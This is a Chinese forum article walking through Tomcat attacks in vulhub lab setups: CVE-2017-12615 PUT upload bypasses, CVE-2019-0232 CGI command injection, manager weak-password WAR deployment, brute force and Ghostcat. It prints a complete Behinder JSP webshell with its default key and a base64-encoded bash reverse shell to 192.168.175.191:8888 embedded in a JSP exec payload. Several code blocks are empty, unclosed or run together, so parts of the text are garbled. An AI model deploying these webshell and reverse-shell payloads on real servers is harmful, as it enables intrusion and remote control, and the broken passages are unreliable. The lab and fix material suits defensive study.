奇安信攻防社区-Tomcat渗透合集

Tomcat渗透合集

Tomcat总结

Tomcat
======

前言
==

Tomcat服务器是一个免费的开放源代码的web应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP程序的首选。可以这样认为，当在一台机器上配置好 Apache服务器，可利用它响应HTML页面的访问请求。实际上 Tomcat是 Apache服务器的扩展，但运行时它是独立运行的，所以当运行 tomcat时，它实际上作为一个与 Apache独立的进程单独运行的。

**目前版本型号7~10版本**

**默认端口：8080**

安装
--

首先要有java的环境

**注意：Tomcat的版本对与JAVA版本以及相应的JSP和 Servlet都是有要求的，Tomcat8版本以上的是需要Java7及以后的版本，所以需要对应JDK的版本来下载Tomcat的版本**

然后安装Tomcat 一路默认下来 就ok了

![1619263844479](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-dd5da8677491338f0aec82116253fa420643713f.png)

可以看到它的8080端口 已经开启了

![1619263320303](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-681ac57c6c04ec94f804cb72b926ab1d5bc2de45.png)

访问一下

Tomcat分析
--------

### 主要文件

```php
1.server.x ml：配置 tomcat启动的端口号、host主机、Context等
2.web.x ml:部署描述文件，这个web.x ml中描述了一些默认的 servlet，部署每个 webapp时，都会调用这个文件，配置该web应用的默认 servlet 
3：tomcat-users.x ml:tomcat的用户密码与权限。
```

### 上传目录

![1619276550079](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-cd716c9e68aabc95dabcefd403fba8d79deabbd6.png)

Tomcat渗透
--------

### Tomcat任意文件写入(CVE-2017-12615）

#### 影响范围

Apache Tomcat7.0.0-7.0.81（默认配置）

#### 复现

这边我用vulhub

```php
sudo service docker start 
cd vulhub/tomcat/CVE-2017-12615
sudo docker-compose build
sudo docker-compose up -d
```

![1619279493073](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f1bcd9ec7e8b6802eaf12492b17ab61334e3b4ec.png)

去底层看看源码

```php
sudo docker ps
sudo docker exec -ti a3 bash
cat conf/web.x ml |grep readonly
```

![1619279550159](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6956bbc7092e246e65455113f74b90efe84a122e.png)

![1619279602920](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-a9e0284732269d9ae28d8186df941649a66bfa4e.png)

#### 漏洞原理

产生是由于配置不当（非默认配置），将配置文件`conf/web.x ml`中的 `readonly`设置为了 false，导致可以使用PUT方法上传任意文件，但限制了jsp后缀，不过对于不同平台有多种绕过方法

#### 开始复现

抓包 改位PUT 上传方式

![1619279695848](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-fc2d8c48612810fabd2d0ab632de2d2db4b6d63a.png)

去上传目录看看

```php
/usr/local/tomcat/webapps/ROOT
```

![1619279779246](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f1b40de612cb8652145db3481694fc39f7adf204.png)

成功上传

##### 绕过，成功上传jsp

```php
1.Windows下不允许文件以空格结尾
以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.WindowsNTFS流
Put/a001.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的，也会被去除（Linux/Windows）
Put/a001.jsp/http:/1.1
```

可以看到上传a001.jsp 是成功绕过了

![1619280114887](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-224b64b88a7e7777f9418aa0d9af7d441ea4290c.png)

其他两种我就不进行演示了

都是可以的

上传马儿，这边我用冰蝎进行连接

**注意：不能开代理**

看看冰蝎server目录下的jsp马儿

![1619280600919](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-06144ac56a4f0c947a792f1959470b85b7d3d583.png)

冰蝎的jsp马儿

```php
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.B ASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
```

```php
/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
```

注意这边要用`/`进行绕过,上传jsp

![1619281552614](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-a2d34419d8b29a4cec224985410c1888d50f265f.png)

也可以看到是成功上传的

![1619281576850](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-9f932d206b7eec734f8fb1321847d073e7d3dfb4.png)

##### 最新版本复现

这边把这个漏洞的代码 粘贴进最新的版本

不加的话 PUT 上传txt都是不可以的

```php
<init-param>
 <param-name>readonly</param-name>
 <param-value>false</param-value>
</init-param>
```

![1619316374088](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-3a1fe13035e9031655d64e07ade909130554d4f1.png)

保存退出 进行重启Tomcat

![1619316427883](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4383f4972ab8b09a8263119b903bde6c441dccf3.png)

![1619316466768](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4135979efc3e29c70baa78d243c8f3dfb5f3846b.png)

![1619316534173](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d48f5c001e87c1817c3d355249218f2f2dd6e282.png)

确实是可以成功写入的

![1619316568424](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8096c91a05ec7631820310af70c8b506f66210ef.png)

进行PUT写入txt 发现它是可以的

但是绕过，上传jsp 三种方法我都试了 是不行的

##### 修复

把readonly 改成true

```php
<init-param> <param-name>readonly</param-name> <param-value>false</param-value></init-param>
```

### Tomcat远程代码执行（CVE-2019-0232）

#### 影响范围

```php
Apache Tomcat 9.0.0.M1 to 9.0.17Apache Tomcat 8.5.0 to 8.5.39Apache Tomcat 7.0.0 to 7.0.93
```

这边就用 Windows 8.5.39 进行复现

#### 安装

同样是先安装java

![1619317164402](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-9c0c1a2975db5c2dbb2e1eec773738f9f9c86142.png)

然后安装Tomcat

![1619317181551](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e280afc624a17acd7371e12e033d168f7db30048.png)

![1619317197793](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8e4db18f604597fd6449729b124d6b8865428377.png)

访问一下

![1619317352951](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e67ddda37280953ad34357f698d2c2adc9716299.png)

#### 漏洞原理

漏洞相关的代码在 `tomcat\java\org\apache\catalina\servlets\CGIServlet.java`中，CGISerlvet提供了一个`cgi`的调用接口，在启用`enableCmdLineArguments`参数时，会根据`RFC 3875`来从Url参数中生成命令行参数，并把参数传递至Java的 `Runtime`执行。

**这个漏洞是因为`Runtime.getRuntime().exec`在 Windows中和 Linux中底层实现不同导致的**

Java的Runtime.getRuntime().exec在CGI调用这种情况下很难有命令注入。

而 Windows中创建进程使用的是 CreateProcess，会将参数合并成字符串，作为 `lpComandLine`传入 CreateProcess。程序启动后调用`GetcommandLine`获取参数，并调用`CommandLineToArgw`传至argv

在 Windows中，当`CreateProcess`中的参数为bat文件或是cmd文件时，会调用 cmd.exe，故最后会变成`cmd.exe /c "a001.bat dir"`，而Java的调用过程并没有做任何的转义，所以在 Windows下会存在漏洞。

除此之外，Windows在处理参数方面还有一个特性，如果这里只加上简单的转义还是可能被绕过

例如`dir "\"&whoami"`在 Linux中是安全的，而在Windows会执行命令。  
这是因为 Windows在处理命令行参数时，会将`"`中的内容拷贝为下一个参数，直到命令行结束或者遇到下一个`"`，但是对`"`的处理有误。因此在Java中调用批处理或者cmd文件时，需要做合适的参数检査才能避免漏洞岀现。

#### 漏洞分析

Tomcat的 CGI\_Servlet组件默认是关闭的，在`conf/web.x ml`中找到注释的 CGIServlet部分，去掉注释，并配置 enableCmdLineArguments和executable

![1619326835356](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-dfa04193bf6a707882d072e68b089d207b4b6be7.png)

就是配置这里

```php
<servlet>    <servlet-name>cgi</servlet-name>    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>    <init-param>        <param-name>cgiPathPrefix</param-name>        <param-value>WEB-INF/cgi</param-value>    </init-param>    <init-param>        <param-name>enableCmdLineArguments</param-name>     <param-value>true</param-value> </init-param>   <init-param>        <param-name>executable</param-name>     <param-value></param-value> </init-param>    <load-on-startup>5</load-on-startup></servlet>
```

这里主要的设置是enableCmdLineArguments和 executable两个选项

```php
1.enableCmdLineArguments启用后才会将Url中的参数传递到命令行2.executable指定了执行的二进制文件，默认是perl，需要置为空才会执行文件本身。
```

同样在conf/web.x ml中启用cgi的 servlet-mapping

![1619326964457](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-1269ed5263be0fb14b0e156ba21c5ba09216125b.png)

修改conf/context.x ml的添加 privileged="true"属性，否则会没有权限

```php
<Context privileged="true">
```

![1619327075870](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6b2570cd7137c7e243cc83380dd50b5c78cd86be.png)

配置目录文件

在`C:\Tomcat\webapps\ROOT\WEB-INF`下创建`cgi-bin`目录

并在该目录下创建一个a001.txt

里面内容随意

![1619327411223](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ee269dc875bc75d5a21b6d010c75d54955c998f1.png)

![1619327400322](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-ac5547e0d589be1129be1d0b450befdf29e4a7f9.png)

记得重启一下

![1619327485133](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c7b2b6633f8a4a3bc4eb34443d46bd4200eb6d24.png)

然后我们访问

```php
http://192.168.175.193:8080/cgi-bin/a001.bat?&dir
```

可以看到成功任意代码执行！

#### 修复方式

开发者在 patch中增加了 `cmdLineArgumentsDecoded`参数，这个参数用来校验传入的命令行参数，如果传入的命令行参数不符合规定的模式，则不执行。  
校验写在 setupFromRequest函数中

```php
String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);if (cmdLineArgumentsDecodedPattern != null && !cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) { if (log.isDebugEnabled()) { log.debug(sm.getString("cgiServlet.invalidArgumentDecoded", decodedArgument, cmdLineArgumentsDecodedPattern.toString())); } return false;}
```

不通过时，会将 CGIEnvironment的`valid`参数设为 false，在之后的处理函数中会直接跳过执行

```php
if (cgiEnv.isValid()) { CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(), cgiEnv.getEnvironment(), cgiEnv.getWorkingDirectory(), cgiEnv.getParameters()); if ("POST".equals(req.getMethod())) { cgi.setInput(req.getInputStream()); } cgi.setResponse(res); cgi.run();} else { res.sendError(404);}
```

#### 修复建议

```php
1.使用更新版本的 Apache Tomcat。这里需要注意的是，虽然在9.0.18就修复了这个漏洞，但这个更新是并没有通过候选版本的投票，所以虽然9.0.18没有在被影响的列表中，用户仍需要下载9.0.19的版本来获得没有该漏洞的版本2.关闭 enableCmdLineArguments参数
```

### Tomcat弱口令&amp;后台getshell漏洞

#### 影响范围

Tomcat8

这边就还是用vulhub进行复现

```php
cd vulhub-master/tomcat/tomcat8sudo docker-compose up -d
```

![1619329013757](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6492290bc0d0207425e58863b5b4816c0f71baf7.png)

之前的容器要关掉

去docker底层看看它的源码

```php
sudo docker pssudo docker exec -ti a bashcd conf
```

把这三个文件复制出来

```php
sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.x ml /home/dayu/Desktop/sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.xsd /home/dayu/Desktop/sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/web.x ml /home/dayu/Desktop/

**为什么需要上传wa包，为什么不是 tar.zip？？**

war包是用来进行Web开发时一个网站项目下的所有代码，包括前台HTML/CSS/JS代码，以及后台 JavaWeb的代码。当开发人员开发完毕时，就会将源码打包给测试人员测试，测试完后若要发布则也会打包成War包进行发布。War包可以放在Tomcat下的webapps或word目录，当Tomcat服务器启动时，War包即会随之解压源代码来进行自动部署。

上传JSP的大马

```php

zip压缩 然后改后缀 成war的包

或者使用Java命令：

```php
jar -cvf dayu.war dayu.jsp
```

#### 修复建议

```php
1、在系统上以低权限运行 Tomcat应用程序。创建一个专门的 Tomcat服务用户，该用户只能拥有一组最小权限（例如不允许远程登录）2、增加对于本地和基于证书的身份验证，部署账户锁定机制（对于集中式认证，目录服务也要做相应配置）。在CATALINA_HOME/conf/web.x ml文件设置锁定机制和时间超时限制3、以及针对manager-gui/manager-status/manager-s cript等目录页面设置最小权限访问限制
```

### Tomcat manager App暴力破解

#### 漏洞复现

我们先抓后台的包

然后放包 进行登录

这里注意这段回显

```php

发现Tomcat的后台登录账号和密码

是以B ASE64加密的 账号:密码

然后我们重新去抓后台的包 进行爆破

![1619341768817](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e4c32e2d9afb0dbab95c782bbc85103a7219bfa0.png)

添加密码本 和B ASE64 的编码规则

把这个自带的编码 对勾去掉

![1619342044653](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b580596c3b7e59cbb43e620f5ed2f52b95a57dc0.png)

分位置 进行不同的载入

比如这里 就应该是3个位置

下面和之前的设置 一样

B ASE64编码 和去掉对勾 默认的Url编码

#### 修复建议

```php
1.取消 manager/html功能2.manager页面应只允许本地IP访问
```

### Tomcat AJP文件包含漏洞分析(CVE-2020-1938)

#### 漏洞简介

由于 Tomcat在处理`AJP`请求时，未对请求做任何验证

通过设置AJP连接器封装的 request对象的属性，导致产生任意文件读取漏洞和代码执行漏洞！  
CVE-2020-1938又名 GhostCat，由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞，由于 Tomcat AJP协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件，例如可以读取 webapp配置文件或源码。

此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。

#### 源码分析

漏洞成因是两个配置文件导致

Tomat在部罢时有两个重要的配置文件`conf/server.x ml、conf/web.x ml`

前者定义了 Tomcat启动时涉及的组件属性，其中包含两个connector(用于处理请求的组件)

如果开启状态下，tomcat启动后会监听8080、8009端口，它们分别负责接受http、ajp协议的数据

后者则和普通的javaWeb应用一样，用来定义servlet

```php
Apache Tomcat 9.x < 9.0.31Apache Tomcat 8.x<8.5.51Apache Tomcat 7.x<7.0.100Apache tomcat 6.x
```

#### 参考链接

<https://xz.aliyun.com/t/7325>

<https://yinwc.github.io/2020/03/01/CVE-2020-1938/>

#### 运行过程

![image-20210718060241151](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-cf49b5cc17a217f7d90d90f22442930055b2376a.png)

从图中可以看出，Tomcat最顶层的容器是 Server，其中包含至少一个或者多个 Service，一个 Service有多个 Connector和一个 Container组成。

这两个组件的作用为:

```php
1、Connector用于处理连接相关的事情，并提供Socket与Request和Response相关的转化；2、Container用于封装和管理 Servlet，以及具体处理 Request请求
```

Tomcat默认的`conf/server.x ml`中配置了2个Connector，

一个为8080端口 HTTP协议(1.1版本)端口，默认监听地址：`0.0.0.0:8080`

另外一个就是默认的8009 AJP协议(1.3版本)，默认监听地址为：`0.0.0.0:8009`，两个端口默认均监听在外网。此次漏洞产生的位置便是8009 AJP协议，此处使用公开的利用脚本进行测试，可以看到能读取`web.x ml`文件

#### 漏洞复现

利用vulhub

```php
cd tomcat/CVE-2020-1938sudo docker-compose up -d
```

可以看到它的语法要求

```php
python2 文件读取.py 192.168.175.191 -p 8009 -f webapps目录下的待读取的文件
```

```php

```php
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx}|{B ASE64,-d}|{bash,-i}
```

最终的txt的payload

```php
<%    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx}|{B ASE64,-d}|{bash,-i}").getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("");    while((a=in.read(b))!=-1){        out.println(new String(b));    }    out.print("");%>
```

这边要手动上传上去

查看

```php
sudo docker ps
```
